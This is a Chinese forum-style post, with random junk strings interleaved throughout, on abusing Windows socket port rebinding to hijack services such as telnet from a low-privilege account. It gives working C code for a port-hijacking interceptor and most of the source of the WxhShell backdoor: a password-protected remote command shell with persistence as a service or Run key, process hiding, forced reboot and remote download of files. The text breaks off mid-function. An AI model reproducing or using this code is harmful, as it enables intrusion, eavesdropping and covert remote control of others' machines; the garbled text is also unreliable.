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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CUIFKM s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $tKz|H)
bT(}=j saddr.sin_family = AF_INET; cJ[gCS WdQR^'b$ saddr.sin_addr.s_addr = htonl(INADDR_ANY); A HnXN%m }N@8zB~X bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); AlZ]UGf^ %UGXgYDz 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a=m4)tjk ?T.'
q 这意味着什么?意味着可以进行如下的攻击: 3zC<k2B p'SclH[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~kHWh8\b: 0?@;zTE0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =3K}]3f ScN'|Ia.- 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &lnr?y^ lX g.` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 MaMP7O|W #)A.yK`u 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .W;,~.l bF_SD\/ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k*xMe- d v8q&_
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2'> Y52f8qQq #include {|!>
{ #include 2%!yV~Z #include EV=/'f[++ #include &k\`!T1 DWORD WINAPI ClientThread(LPVOID lpParam); Y)V)g9 int main() tk]>\}% {
r Uau?? WORD wVersionRequested; x-E@[= DWORD ret; 4$~A%JN3 WSADATA wsaData; d8N{sT BOOL val; TwdY6E3` SOCKADDR_IN saddr; l~mC$>f SOCKADDR_IN scaddr; eMHBY6<~= int err; GXk]u SOCKET s; Pp{Re|. SOCKET sc; KE$I!$zO int caddsize; 9(-f)$u HANDLE mt; ~<Eu
@8+_ DWORD tid; >`E
(K X wVersionRequested = MAKEWORD( 2, 2 ); &9j*Y err = WSAStartup( wVersionRequested, &wsaData ); eDkJ+5b if ( err != 0 ) { uV=ZGr#o printf("error!WSAStartup failed!\n"); C-2{<$2k return -1; pB(|Y]3A } =lb5 # saddr.sin_family = AF_INET; |3]#SqX oy[>`qyz //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y=HM]EH> s~i73Qk/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @IE.@1 saddr.sin_port = htons(23); {JGXdp:SB if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jjJvyZi~J { UlNx5l+k printf("error!socket failed!\n"); 7!;48\O]w return -1; i]$/& / } BV"l;&F[ val = TRUE; lZ'ZL* //SO_REUSEADDR选项就是可以实现端口重绑定的 Xd 5 vNmQn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'QOV! D { Z [Q jl* printf("error!setsockopt failed!\n"); 3[*x'"Q;H return -1; %(}%#-X } &P pb2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "=Xky,k //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '.gLqm}% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mb GL)NI yg WwUpY if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^ }k qAmr { #Fkn-/nL ret=GetLastError(); G=(ja?d printf("error!bind failed!\n"); QHHj.ZY return -1; 3UgPVCT } <lN=<9 listen(s,2); x'iBEm while(1) WupONrH1e { $?*XPzZ caddsize = sizeof(scaddr); Q $^)z_jai //接受连接请求 49!(Sa_]j sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i|!D if(sc!=INVALID_SOCKET) ?{]"UnyVE* { yc7"tptfF mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); INNTp[ if(mt==NULL) bbG!Fg=qQ? { bMGU9~CeJ printf("Thread Creat Failed!\n"); 6[T)Q ^0` break; Ue&I]/?;$ } |Duf
3u } EUmbNV0u CloseHandle(mt); -~NjZ=vPh } j
V'~> closesocket(s); SYYg
2I WSACleanup(); WR zIK09@ return 0; k = } GLiD,QX< DWORD WINAPI ClientThread(LPVOID lpParam) R<Uu(-O- { ;s^F:O SOCKET ss = (SOCKET)lpParam; ^!7|B3` SOCKET sc; m?y'Y` unsigned char buf[4096]; f>[!Zi* SOCKADDR_IN saddr; Hdda/?{b long num; 9jJ:T$} DWORD val; K)P].htw DWORD ret; F7&Oc)f"B //如果是隐藏端口应用的话,可以在此处加一些判断 W61nJ7@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 zwgO|Qg; saddr.sin_family = AF_INET; -(VX+XHW saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]L;X Aj? saddr.sin_port = htons(23); 4"et4Y7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9Itj@ps { >jRH<|Az printf("error!socket failed!\n"); =
KJ_LE~) return -1; |bX{MF } F3=iyiz6 val = 100; ? oQ_qleuo if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y;1J`oT { nV_[40KP_ ret = GetLastError(); w=x
[=O return -1; evE$$# 6R } D.,~I^W if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 115zvW { :^ J'_ ret = GetLastError(); EMw
biGV return -1; fctVJ{? } V_P,~! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /_ RrNzqy { E>&oe&`o' printf("error!socket connect failed!\n"); en8l:INX closesocket(sc); AkX8v66:
closesocket(ss); NGAjajB return -1; osPrr QoH } :rnj>U6<> while(1) s}Q*zy { 2X`5YN; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 icXeB_&cS //如果是嗅探内容的话,可以再此处进行内容分析和记录 gVN&?`k*? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =`f"8,5 num = recv(ss,buf,4096,0); %R-KkK<S if(num>0) ]GmXZi send(sc,buf,num,0); j9O"!9$vQ else if(num==0) e"]DIy4s break; x0ICpt{; num = recv(sc,buf,4096,0); Qg5-I$0 if(num>0) ^T_2s send(ss,buf,num,0); ;oJCV"y6$ else if(num==0) ^ jT1q_0 break; T`K4n U# } mAuN* ( closesocket(ss); ct@i]}"` closesocket(sc); qAirH1# return 0 ; a{4RG(I_ } . *c%A^> l^4! la*c/* ========================================================== (nt= q|xic>. 下边附上一个代码,,WXhSHELL {f[X) O;SD90 ========================================================== V"W)u#4, *S\/l-D #include "stdafx.h" MzCZj t_{rKb,
#include <stdio.h> B$&&'i% #include <string.h> #]e](j>] #include <windows.h> ;`}b
.S=n #include <winsock2.h> $v~I n #include <winsvc.h> #(o( p #include <urlmon.h> [a\>"I\[ RtScv #pragma comment (lib, "Ws2_32.lib") BV512+M #pragma comment (lib, "urlmon.lib") .>+jtp} f}?q #define MAX_USER 100 // 最大客户端连接数 A"no!AN #define BUF_SOCK 200 // sock buffer JTfG^Nv>K #define KEY_BUFF 255 // 输入 buffer dx[kG
FA#8 #define REBOOT 0 // 重启 Cl'3I%$8K #define SHUTDOWN 1 // 关机 cP&XkAQ {,
zg #define DEF_PORT 5000 // 监听端口 ="AJ&BqHd pb=yQ}. #define REG_LEN 16 // 注册表键长度 MP%pEUomev #define SVC_LEN 80 // NT服务名长度 07qL@![! ~4C:2 // 从dll定义API bT#re typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X8| 0RU@f typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :Tn1]a)f6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c(!8L\69V} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EP}NT)z,{ F<|x_6a\ // wxhshell配置信息 'qnnZE struct WSCFG { -40OS=wpA int ws_port; // 监听端口 -8D$ [@y( char ws_passstr[REG_LEN]; // 口令 YDdY'd`* int ws_autoins; // 安装标记, 1=yes 0=no g9oYK char ws_regname[REG_LEN]; // 注册表键名 p'`pO"EO char ws_svcname[REG_LEN]; // 服务名 O"~BnA`dJ char ws_svcdisp[SVC_LEN]; // 服务显示名 ey! { char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hpq?I-g<^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d}_%xkC int ws_downexe; // 下载执行标记, 1=yes 0=no nk-V{'] char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" /{+77{#Qn char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nN[gAM ( .m
\y6 }; e+7x &-+ {Wh7>*p{3 // default Wxhshell configuration 7(1UXtT struct WSCFG wscfg={DEF_PORT, Th\t6K~ "xuhuanlingzhe", b.sRB1 1, eK'ztqQ "Wxhshell", m-)yQM8 "Wxhshell", *w_f-YoXp "WxhShell Service", 0F|DD8tHR "Wrsky Windows CmdShell Service", Q2 @Ugt$ "Please Input Your Password: ", Nw|m"VLb 1, 4>$weu^ " http://www.wrsky.com/wxhshell.exe", M}*#{UV2 "Wxhshell.exe" K_t!P }; U2)y fhI >Pw
ZHY // 消息定义模块 \`$RY')9|! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sCw X| char *msg_ws_prompt="\n\r? for help\n\r#>"; EABy<i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r";
cnwpd%]o char *msg_ws_ext="\n\rExit."; 3^J~ts{* char *msg_ws_end="\n\rQuit."; kEpCF:@A char *msg_ws_boot="\n\rReboot..."; XVNJ3/ char *msg_ws_poff="\n\rShutdown..."; a0=5G>G9c char *msg_ws_down="\n\rSave to "; 5Sfz0 KD)+&69 char *msg_ws_err="\n\rErr!"; cp\A
xWtUZ char *msg_ws_ok="\n\rOK!"; c<n <!!vi *g;4?_f char ExeFile[MAX_PATH]; -)2sR>`A% int nUser = 0; :KL5A1{ HANDLE handles[MAX_USER]; =zXii{t int OsIsNt; qH-':|h7 /vG)n9Rc SERVICE_STATUS serviceStatus; ^J_rb;m43 SERVICE_STATUS_HANDLE hServiceStatusHandle; GVt}\e~" r7=r~3) // 函数声明 g4fe(.?c, int Install(void); ZQQ0} int Uninstall(void); f}U@e0Lsb int DownloadFile(char *sURL, SOCKET wsh); e-.s63hm int Boot(int flag); "G,$Sqi@ void HideProc(void); }xE}I<M int GetOsVer(void); =9@t6 int Wxhshell(SOCKET wsl); 98^o9i void TalkWithClient(void *cs); (hv>vfY@ int CmdShell(SOCKET sock); 5gnmRd int StartFromService(void); >84:1` int StartWxhshell(LPSTR lpCmdLine); P-c<[DSM'I g0
NSy3t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [#hoW"'Q9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); (@y te qe\JO'g#e // 数据结构和表定义 {f
kP|d SERVICE_TABLE_ENTRY DispatchTable[] = GI40Ztms { y8QJ=v* B {wscfg.ws_svcname, NTServiceMain}, K)d]3V! {NULL, NULL} <R>%DD=v^ }; uh_2yw_ x!@P|c1nKC // 自我安装 Y']D_\y int Install(void) v1Wz#oP { 16N+ char svExeFile[MAX_PATH]; /5Zt4&r HKEY key; MU/3**zoW strcpy(svExeFile,ExeFile); !Hp H !^EdB}@yS // 如果是win9x系统,修改注册表设为自启动 ]@D#<[5\ if(!OsIsNt) { %Z#s9QC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 39+6ZTqx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g.re`m|Aj RegCloseKey(key); I/
q>c2Pw$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^&mJDRe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0Zq jq0O# RegCloseKey(key); B}YpIb]d return 0; ozr82 }
T.{sO` } ' QrvkQ } ZSo#vQ else { _:Jra ^`&?"yj<z // 如果是NT以上系统,安装为系统服务 Cm5:_K`;] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n,E=eNc if (schSCManager!=0) uK5&HdoM { Q-:IE
T SC_HANDLE schService = CreateService E3a^)S{ ( n)'5h schSCManager, 5lc%GJybV wscfg.ws_svcname, l5R0^!t wscfg.ws_svcdisp, Bh\>2]~@a SERVICE_ALL_ACCESS, ;HPQhN_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <7;AK!BH SERVICE_AUTO_START, !PIpvx{aX SERVICE_ERROR_NORMAL, )GpH5N'EI svExeFile, z:_o3W.E NULL, U=a'(fX NULL, g;Lk 'Ky6 NULL, j$z<wR7j0 NULL, }}g.L| NULL V>YZ^>oeH ); Ym WVb if (schService!=0) ;HOOo>%_K { %di]1vQ CloseServiceHandle(schService); U(jZf{`Mz CloseServiceHandle(schSCManager); [4_JK strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;F;"Uw strcat(svExeFile,wscfg.ws_svcname); JGB 9Z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1Y-m=~J7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pRAdo=" RegCloseKey(key); C25r3bj return 0; { eU_ } _ `RCY^t } d
Xiv8B1 CloseServiceHandle(schSCManager); n4YedjHSN } GT)63| } wLDWD,"K bJz}\[z return 1; O"<W<l7Q } -or^mNB_z Y8Bc
&q} // 自我卸载 hLZ<h7: int Uninstall(void) D_HE!fl { ia!b0*< HKEY key; /_`f b)f +@QN)ZwVy if(!OsIsNt) { 6Wm`Vj(s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :RH0.5) RegDeleteValue(key,wscfg.ws_regname); Y)-)owx7 RegCloseKey(key); .[1"3!T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u9:+^F+ RegDeleteValue(key,wscfg.ws_regname); xgX"5Czvv` RegCloseKey(key); =deqj^&@ return 0; sL9,+ } >Y h7By } Y~</vz+H } QX'EMyK$ else { 0x-58i0 huu v`$~y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;m;a"j5 if (schSCManager!=0) h#o3qY { ]7d~,<3R SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nJvDk h#h1 if (schService!=0) (L{Kg U&{$ { XM+o e0:[ if(DeleteService(schService)!=0) { U8T"ABvFP CloseServiceHandle(schService); B4<W%lm CloseServiceHandle(schSCManager); '>}dqp{Wr return 0; $8{|25
*E } QEavbh^S CloseServiceHandle(schService); FuiEy=+ } Qe&K CloseServiceHandle(schSCManager); scffWqEo } !F|mCEU } C{i9~80n gm-I)z!tz return 1; vSt7&ec } '%u7XuU-] .)7r /1o // 从指定url下载文件 r@2{>j8 int DownloadFile(char *sURL, SOCKET wsh) LxM.z1 { }SdI _sLe HRESULT hr; g"60{ char seps[]= "/"; #q06K2 char *token; uA}w?; char *file; 7#
/c7 char myURL[MAX_PATH]; jL|y4 char myFILE[MAX_PATH]; 6a+w/IO3OU ha;Xali ] strcpy(myURL,sURL); fI/?2ZH token=strtok(myURL,seps); f1a >C while(token!=NULL) 3H_mR
j9th { y;!q E~!3 file=token; ii.L]#3y token=strtok(NULL,seps); hrT_0FZV } %<g(EKl 6N%fJ GetCurrentDirectory(MAX_PATH,myFILE); !Od?69W, $ strcat(myFILE, "\\"); Qg7rkRia strcat(myFILE, file); oBA]qI send(wsh,myFILE,strlen(myFILE),0); H O^3v34ZO send(wsh,"...",3,0); ~{#$`o= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >t[beRcR6 if(hr==S_OK) C+*qU return 0; ];-DqK' else qfO=_z ES return 1; l1_Tr2A}7/ UN~dzA~V } X>[x7t: ZfpV=DU // 系统电源模块 r((2.,\Z int Boot(int flag) B@:c8}2. { K/2k/\Jk[_ HANDLE hToken; d 6$,iw@>^ TOKEN_PRIVILEGES tkp; 14[+PoF^A M~0A-*N if(OsIsNt) { }@6/sg
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2(-J9y| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yj^LX2x" tkp.PrivilegeCount = 1; d},IQ,Az:Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S~dD ;R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KjrUTG0oA if(flag==REBOOT) { ~wMdk9RQ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Bs@!S? return 0; 6@7K\${ } hi{#HXa else { c)d*[OI8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v^Eg ,&( return 0; )HrFWI'Y } m])!'Pa(= } CQf<En|1 else { 9`"o,wGX3 if(flag==REBOOT) { I)xB I~x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e}x}Fj</( return 0; r/X4Hy0!lT } LvWl*:z else { ,0'Yj?U> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >m}U|#;W return 0; K[wOK } |x2+O } y_^w| _RLx;Tn)L return 1; HF9\SVR
B } vybQ}dscn yIab3/#` // win9x进程隐藏模块 9uXu V$. void HideProc(void) U>q&p}z0H { AN!MFsk Sv*@ 3x HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ISQC{K']J if ( hKernel != NULL ) }Pm>mQZ}, { -S7PnR6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y8Q96zi ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 49)A.Bh&! FreeLibrary(hKernel); @%4MFc0`! } jpL'y1@Ut "6T: &> return; 5ryzAB O\2 } =j)y.x( @S/PB[%S // 获取操作系统版本 q|E0Y int GetOsVer(void) R^%uEP { CaX0Jlk* OSVERSIONINFO winfo; u/Os winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~c
e?xr| GetVersionEx(&winfo); [C GFzxz$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U6hT*126 return 1; ]dXHjOpA else rsbdDTy return 0; x+kP,v } -ff|Xxar{ -{Lc?= // 客户端句柄模块 F1V[8I.0 int Wxhshell(SOCKET wsl) FiTP-~
{ <O`yM2/pS SOCKET wsh; s\c*ibxM, struct sockaddr_in client; <
q6z$c)K DWORD myID;
b>N)H o8!gV/oy while(nUser<MAX_USER) QN %w\JXS { ?/mk FDN int nSize=sizeof(client); V:M$-6jv wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'Ii%/ Ob! if(wsh==INVALID_SOCKET) return 1; (BtavE s]=s2.= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3xhv~be if(handles[nUser]==0) ~R`Rj*Q2Y closesocket(wsh);
G P"(+5 else 7g-#v'.N nUser++; ; Q-f6)+& } fIrl?X'] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aBPaC=g{HO gTI!b return 0; l2DhFt$!= } e*O-LI2O 3Lxk7D>0c // 关闭 socket \]y4e^FZZ void CloseIt(SOCKET wsh) uV]4C^k;`[ { ,hj5.;M closesocket(wsh); >U~B"'!xV nUser--; _":yUa0D ExitThread(0); 'qTMY* } j1!P:( b8V]/ // 客户端请求句柄 2.I'`A void TalkWithClient(void *cs) \V@Hf"=j { nZF(92v 32_{nLV$[ SOCKET wsh=(SOCKET)cs; zl>l.zJ char pwd[SVC_LEN]; #;bpxz1lR9 char cmd[KEY_BUFF]; v1hrRf2< char chr[1]; #4(/#K 1j int i,j; q&IO9/[dk LEM{$Fxo& while (nUser < MAX_USER) { K)2ZH@ :@PM+ [B|Q if(wscfg.ws_passstr) { ICNS+KsI if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @=[/bG //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z+!3m.q //ZeroMemory(pwd,KEY_BUFF); o.tCw\M$g i=0; 0B(<I?a/ while(i<SVC_LEN) { tuA,t *_<P%J // 设置超时 Lc>9[!+# fd_set FdRead; ;!<WL@C~ struct timeval TimeOut; Wt +,6Cq FD_ZERO(&FdRead); aq[ ;[$w FD_SET(wsh,&FdRead); h+mM TimeOut.tv_sec=8; 2[&3$-] TimeOut.tv_usec=0; Jji~MiMn int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dhe?7r]u if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9wP_dJvb $!c)%qDq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Z-^Bu8;y pwd =chr[0]; i2{xW`AcUh if(chr[0]==0xd || chr[0]==0xa) { .p%p _ pwd=0; ..qAE.%% break; } d /5_X } rs01@ i++; ,63hO.4M } q#W|*kL3 7<Fp3N 3 // 如果是非法用户,关闭 socket pv2_A if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .xT8@] } s)$N&0\ e";r_J3w send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U;n$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7%Zl^c>q .I{b]6 while(1) { F]~ rA! g1 x^aqnKoJ%\ ZeroMemory(cmd,KEY_BUFF); uX{n#i,~L N> RabD // 自动支持客户端 telnet标准 MnvFmYgxA j=0; ZF
:e6em while(j<KEY_BUFF) { mj0{Nd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eqcV70E8cK cmd[j]=chr[0]; v\*43RL if(chr[0]==0xa || chr[0]==0xd) { ]%I cUd} cmd[j]=0; :ho)3kB break; @sly-2{e1 } D'aq^T' j++; !dB {E } :8}QKp *Dld?Q // 下载文件 f[3DKA if(strstr(cmd,"http://")) { ;aBK4<-vl send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8P r H"pI if(DownloadFile(cmd,wsh)) @NGK2J send(wsh,msg_ws_err,strlen(msg_ws_err),0); >W"gr]R< else (#* 7LdZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d%?+q0j } '1A S66k else { g(t"+
P &| %<=\ switch(cmd[0]) { A87JPX#R? ryzz!0l // 帮助 c0]^V>}cl case '?': { 7N "$~UfC send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d3h2$EDD break; U'S}7gya } ]Q=D'1MM // 安装 k"|4
LPv[ case 'i': { '3Yci(t+ if(Install()) I|lz;i}$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z~{0XG\Y else 2g1[E_? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6_/691 break; Z]l<,m } {hB7F"S // 卸载 ghm5g/ case 'r': { y0qrl4S)v if(Uninstall()) 9Vz1*4Ln send(wsh,msg_ws_err,strlen(msg_ws_err),0); t4pc2b else m"\jEfjO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > 4ex:Z break; b7g\wnV8z } kM5N#|! // 显示 wxhshell 所在路径 U'zW; Lt case 'p': { }^WQNdws56 char svExeFile[MAX_PATH]; <`*}$Zh strcpy(svExeFile,"\n\r"); Pk[:+. f( strcat(svExeFile,ExeFile); 5Jq~EB{" send(wsh,svExeFile,strlen(svExeFile),0); i rMZLc6 break; w#eD5y~'oo } Y3r m')c // 重启 IlsXj`!e case 'b': { O{a<f7 W send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pfgFHNH: if(Boot(REBOOT)) n'=-bj` send(wsh,msg_ws_err,strlen(msg_ws_err),0); (&0%![j& else { A_1cM#4 closesocket(wsh); mdvooJ ExitThread(0); LziEF-_ } ;T~]|#T\6 break; ^Bn)a"Gd } $.kP7!`:, // 关机 yC !`6$ case 'd': { wXp
A1,i send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IW3ZHmrpA if(Boot(SHUTDOWN)) ]&\HAmOQS send(wsh,msg_ws_err,strlen(msg_ws_err),0); fv_}7t7 else { {]<l|qK closesocket(wsh); zu'Uau ExitThread(0); Ql
a'vcT } j*>+^g\Q6 break; Kdk0#+xtP } 1eQ9(hzF // 获取shell Sj;B1& case 's': { [hA%VF.9 CmdShell(wsh); "l!WO`.zp= closesocket(wsh); #pP4\n-~hU ExitThread(0); F<q'ivj:w break; m\`dLrPX4j } J]/TxUE // 退出 %`%oupqm+ case 'x': { !"/]<OQ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3^
~M7=k CloseIt(wsh); K[0.4+ break; 5G=<2; } 8A}w}h // 离开 % eWzr case 'q': { ;]zV ?9 send(wsh,msg_ws_end,strlen(msg_ws_end),0); K,e"@G closesocket(wsh); 0UZ>y/
C)= WSACleanup(); fyPpzA0 exit(1); ^I03PIy0l break; 9Z]~c^UB } o&P}GcEIw } $&/JY } n/#zx:d? 3ny>5A!;2 // 提示信息 }S51yDV G_ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tFt56/4 } zY~ } 5vs~8|aRo nf&PDv1 return; ;q]Jm } dfY(5Wc+f GL$!JKWp // shell模块句柄 c7Sa|9*dR int CmdShell(SOCKET sock) j78WPG { &v|Uy}h&%1 STARTUPINFO si; =!T@'P? ZeroMemory(&si,sizeof(si)); !E!i`yF si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DhY.5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b"n8~Vd PROCESS_INFORMATION ProcessInfo; I
Y%M5(&Q char cmdline[]="cmd"; n2&*5m&$ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v+uq return 0; HE58A.Q& } D ]Q,~Y&' xY9#ouF // 自身启动模式 Fb=(FQ2Y? int StartFromService(void) k#Qav1_ { bA}9He1 typedef struct 4-;"w; { {Q],rv|; DWORD ExitStatus; FY_.Vp DWORD PebBaseAddress; d%_=r." Y DWORD AffinityMask; 6 "fYSn> DWORD BasePriority; Q ^X ULONG UniqueProcessId; m=D2|WA8 ULONG InheritedFromUniqueProcessId; yO*~)ALb+ } PROCESS_BASIC_INFORMATION; NRu_6~^^ i
,Cvnp6Lv PROCNTQSIP NtQueryInformationProcess; "%fh`4y3\ gY\X? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]j> W9n? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $/;D8P5/&= fB^h2 HANDLE hProcess; xIu# PROCESS_BASIC_INFORMATION pbi; Py*( %
